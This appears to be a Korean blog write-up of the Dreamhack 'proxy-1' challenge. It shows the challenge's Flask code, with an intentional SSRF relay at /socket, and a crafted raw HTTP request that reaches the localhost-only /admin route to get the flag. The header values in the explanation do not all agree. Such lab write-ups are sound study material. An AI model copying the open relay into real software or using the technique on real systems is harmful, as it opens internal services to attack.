본문 바로가기
웹 해킹/드림핵

[Dreamhack] proxy-1

by L3m0n S0ju 2021. 7. 16.

 

 

 

 

app.py


#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != '
':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)


 

이번 문제는 프록시의 개념이 등장합니다. 프록시 서버는 클라이언트와 서버 사이에서 중간다리 역할을 하는 서버입니다. 위 코드에서 프록시 역할을 하는 페이지는 /socket 입니다. /socket 페이지는 host, port, data를 입력받아 host:port에 data를 전송하게끔 동작합니다.

 

플래그를 획득하기 위해선 /admin 페이지의 5가지 조건을 만족해야하는데 첫번째는 들어온 요청이 127.0.0.1이어야하고 두번째로 헤더에 User-Agent=Admin Browser이라는 값이 있어야 합니다. 세번째는 헤더에 DreamhackUser=Only Admin, 네번째는 헤더에 Cookie: admin=true, 마지막으로 body에 userid=admin이라는 값이 있어야합니다.

 

위 5가지 값들을 POST 방식으로 전달하기 위해서는 필수요소가 몇가지 있습니다.

 

POST / HTTP/1.1

Host: www.lemon_soju.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

say=Hi&to=Mom

 

위 5가지 필수요소들과 /admin 조건이 요구하는 5가지 값들을 합치면 페이로드는 아래와 같습니다.

 

POST /admin HTTP/1.1
Host: host1.dreamhack.games:23907

Content-Type: application/x-www-form-urlencoded 

Content-Length: 12
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
Connection=close

userid=admin

 

페이로드를 입력하면 아래과 같이 플래그가 출력됩니다.



 

플래그

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] php-1  (0) 2021.07.16
[Dreamhack] pathtraversal  (0) 2021.07.16
[Dreamhack] csrf-1  (0) 2021.07.15
[Dreamhack] xss-1  (0) 2021.07.15
[Dreamhack] Carve Party  (0) 2021.04.22

댓글